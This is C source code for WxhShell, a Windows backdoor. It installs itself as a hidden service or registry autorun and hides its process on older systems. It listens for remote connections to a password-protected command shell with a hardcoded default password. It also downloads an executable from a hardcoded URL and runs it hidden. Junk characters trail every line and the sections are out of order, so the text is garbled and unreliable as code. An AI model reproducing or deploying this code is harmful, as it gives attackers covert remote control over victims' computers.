s}&bJ"!Z
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RIM`omM
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nm$Dd~mxW1
Thy=yz;p
HANDLE hProcess; $DFv30 f
PROCESS_BASIC_INFORMATION pbi; p5=|Y^g !
?8dVH2W.
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y<R=
if(NULL == hInst ) return 0; j;yf8Nf
&MR/6"/s
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z9
u$~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /il@`w;G
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #yseiVm;
;P &y,:<m:
if (!NtQueryInformationProcess) return 0; ;T]d MfO
5 v^yQ<70
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u/b7Z`yX}
if(!hProcess) return 0; kID[#g'
Q0?\]2eet9
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @4~=CV%j
Dq\ Jz~
CloseHandle(hProcess); V{-AP=C7
n;HHogA
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n6WY&1ZE~
if(hProcess==NULL) return 0; 3OyS8`
LL^q1)o
HMODULE hMod; P=N$qz$U
char procName[255]; D8{D[fJ;
unsigned long cbNeeded; zxb/
i[C~5}%
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @ufo$?D
[@<sFP;g
CloseHandle(hProcess); >$67 7
4!62/df
if(strstr(procName,"services")) return 1; // 以服务启动 Gz
I~TWc+G
vq*Q.0 M+
return 0; // 注册表启动 uxn)R#?
} kEeo5XN
e;bYaM4UX
// 主模块 rjt8fN
int StartWxhshell(LPSTR lpCmdLine) ;?fS(Vz~
{ .@)mxC:\K9
SOCKET wsl; [./6At&|
BOOL val=TRUE; }/dRU${!
int port=0; ubsSa}$q
struct sockaddr_in door; #BVtL :x@
tary6K9K+
if(wscfg.ws_autoins) Install(); ,y`CRlr:
h<<>3 A
port=atoi(lpCmdLine); lv0nEj8F
-F&U
if(port<=0) port=wscfg.ws_port; cHA7Kg !
Z#d&|5Xj
WSADATA data; ?rVy2!
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eO=s-]mk
h+.{2^x
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; N(6|yZ<J3M
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Th[f9H%
door.sin_family = AF_INET; `cz2DR-"
door.sin_addr.s_addr = inet_addr("127.0.0.1"); KAA-G2%M
door.sin_port = htons(port); n>3U_yt6b
})xp%<`
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p=GWq(S6
closesocket(wsl); TQX)?^Ft
return 1; vD/NgRBww
} nL@KX>
M4LP$N
if(listen(wsl,2) == INVALID_SOCKET) { :,;K>l^U
closesocket(wsl); UEs7''6RM
return 1; %t=kdc0=_
} +i ?S
Wxhshell(wsl); l5%G'1w#,j
WSACleanup(); $w)~O<_U
TlL^7f}
return 0; A,CW_
f|A
riM
} 75nNh~?)\
v`J*ixZ7t
// 以NT服务方式启动 J2q,7wI#
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4!Z5og1kn
{ m`#Od^vk
DWORD status = 0; HjvCujJ
DWORD specificError = 0xfffffff; ~I/@i
M}:=zcZ l
serviceStatus.dwServiceType = SERVICE_WIN32; +;BAV
serviceStatus.dwCurrentState = SERVICE_START_PENDING; exh/CK4;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'C$XS>S
serviceStatus.dwWin32ExitCode = 0; #1c]PX
serviceStatus.dwServiceSpecificExitCode = 0;
vr#+0:|
serviceStatus.dwCheckPoint = 0; o56`
serviceStatus.dwWaitHint = 0; cUqn<Z<n
-50HB`t
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3K&4i'}V
if (hServiceStatusHandle==0) return; 84HUBud76Y
c0c|z
Ym
status = GetLastError(); m42T9wSsx
if (status!=NO_ERROR) i"zuil
{ jdKOb
serviceStatus.dwCurrentState = SERVICE_STOPPED; I jr\5FA[p
serviceStatus.dwCheckPoint = 0; lN,/3\B
serviceStatus.dwWaitHint = 0; H|ozDA
serviceStatus.dwWin32ExitCode = status; rrg96WD
serviceStatus.dwServiceSpecificExitCode = specificError; ]3ONFa
SetServiceStatus(hServiceStatusHandle, &serviceStatus); r`&-9"+
return; ?1L.:CS
} [=O/1T
)}Q(Tl\$
serviceStatus.dwCurrentState = SERVICE_RUNNING; HCK|~k
serviceStatus.dwCheckPoint = 0; n%h^o
serviceStatus.dwWaitHint = 0; V$0dtvGvH
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I`[i;U{CK
} ~pa!w?/bQ
IJTtqo
// 处理NT服务事件,比如:启动、停止 Qjx?ri//
VOID WINAPI NTServiceHandler(DWORD fdwControl) s?8<50s
{ ,h|q i[7
switch(fdwControl) f~E*Zz`;
{ Vc^HVyAx@n
case SERVICE_CONTROL_STOP: _0+0#! J!
serviceStatus.dwWin32ExitCode = 0; r|4t aV&
serviceStatus.dwCurrentState = SERVICE_STOPPED; j Ja$a [
serviceStatus.dwCheckPoint = 0; Nu8Sr]p
serviceStatus.dwWaitHint = 0; =_j vk.
{ h%WE=\,Qp
SetServiceStatus(hServiceStatusHandle, &serviceStatus); VxP&j0M>
} %0#1t 5g
return; gOgps:
case SERVICE_CONTROL_PAUSE: gVeEdo`$<
serviceStatus.dwCurrentState = SERVICE_PAUSED; fQrhsuCrC
break; ( mxT2"fC
case SERVICE_CONTROL_CONTINUE: sGvIXD
serviceStatus.dwCurrentState = SERVICE_RUNNING; pEECHk
break; (R`B'OtGg
case SERVICE_CONTROL_INTERROGATE: r&-m=Kk$
break; 9a'-Y
}; Uax+dl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fEB7j-t
} (E,T#uc{
!+u"3;%h
// 标准应用程序主函数 .4.b*5
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5cx#SD&5/
{ }@if6(0
Qf@I)4'
// 获取操作系统版本 &d7Z6P'`G
OsIsNt=GetOsVer(); 0G!]=
GetModuleFileName(NULL,ExeFile,MAX_PATH); </uOe.l>Q
>-&R47G
// 从命令行安装 E.1J2Ne
if(strpbrk(lpCmdLine,"iI")) Install(); MX@IHc
>#ZUfm{k$
// 下载执行文件 ^
9!!;)
if(wscfg.ws_downexe) { ;lYHQQd!,
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P`r55@af4
WinExec(wscfg.ws_filenam,SW_HIDE); d[rv1s>i
} a >\vUv*
Ym;*Y !~[
if(!OsIsNt) { cqxVAzb
// 如果时win9x,隐藏进程并且设置为注册表启动 UH7jP#W%=
HideProc(); Z{?G.L*/
StartWxhshell(lpCmdLine); s3Cc;#
} Jk,;JQ
else = k\J<
if(StartFromService()) :qC'$dO!
// 以服务方式启动 Vh>Z,()>>@
StartServiceCtrlDispatcher(DispatchTable); 1CLL%\V
else 5nbEf9&
// 普通方式启动 {Ay"bjZh
StartWxhshell(lpCmdLine); P2Vg 4
0'nikLaKy
return 0; tHLrhH<w
} OR[{PU=X
!!Z?[rj
dz Zb
@k&qb!Qah
=========================================== GfC5z n>
6'xsG?{JY
N&@}/wzZ
gv5*!eI
Q_l'o3
$1ndKB8)`J
" s&'QN=A
\W1/p`
#include <stdio.h> [9:9Ql_h
#include <string.h> a&vY!vx3
#include <windows.h> 4tY ss
#include <winsock2.h> 6;b~Ht
#include <winsvc.h> ]l8^KX'
#include <urlmon.h> W456!OHa
|JCU<_<
#pragma comment (lib, "Ws2_32.lib") v+99
-.
#pragma comment (lib, "urlmon.lib") F2X0%te
RejQ5'Neh
#define MAX_USER 100 // 最大客户端连接数 bV/jfV"%E
#define BUF_SOCK 200 // sock buffer >LDhU%bH
#define KEY_BUFF 255 // 输入 buffer ?7{H|sI
eF2|Wjl``;
#define REBOOT 0 // 重启 qWb+r
#define SHUTDOWN 1 // 关机 =*Bl|;>6
/*0K92NB
#define DEF_PORT 5000 // 监听端口 7`u$
y(
y8+ZT
#define REG_LEN 16 // 注册表键长度 B#9{-t3Vf
#define SVC_LEN 80 // NT服务名长度 @IXsy
->N8#XH2=
// 从dll定义API CirZ+o
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6Cp]NbNrq
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 23gPbtq/
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .9.2Be
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y|wc,n%L>
?,/U^rf^4
// wxhshell配置信息 z?35=%~w
struct WSCFG { (y^vqMz
int ws_port; // 监听端口 1) Zf3Y8
char ws_passstr[REG_LEN]; // 口令 TsTPj8GAl[
int ws_autoins; // 安装标记, 1=yes 0=no ({o'd=nO
char ws_regname[REG_LEN]; // 注册表键名 l#n,Fg3
char ws_svcname[REG_LEN]; // 服务名 R4-~j gzx
char ws_svcdisp[SVC_LEN]; // 服务显示名 tsk)zP,<
char ws_svcdesc[SVC_LEN]; // 服务描述信息 !F?XLekTi
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }\C-}
Q
int ws_downexe; // 下载执行标记, 1=yes 0=no &\_iOw8
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4!KoFoZt*
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =JmT:enV
{p,]oOq\
}; NF?
vg/{
CD8}I85K
// default Wxhshell configuration ZK)%l~J
struct WSCFG wscfg={DEF_PORT, 33}oO,}t,
"xuhuanlingzhe", U,LTVYrO
1, "^Ybs'-
"Wxhshell", H*r>Y
"Wxhshell", M8u<qj&<O
"WxhShell Service", N?.%?0l
"Wrsky Windows CmdShell Service", 9+pmS#>_
"Please Input Your Password: ", A=
w9V
1, .aflsUD
"http://www.wrsky.com/wxhshell.exe", AoyX\iqQ
"Wxhshell.exe" ccL~#c0P7
}; 3'X.}>o
VJS8)oI~
// 消息定义模块 #BSTlz
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D|.ic!w'
char *msg_ws_prompt="\n\r? for help\n\r#>"; &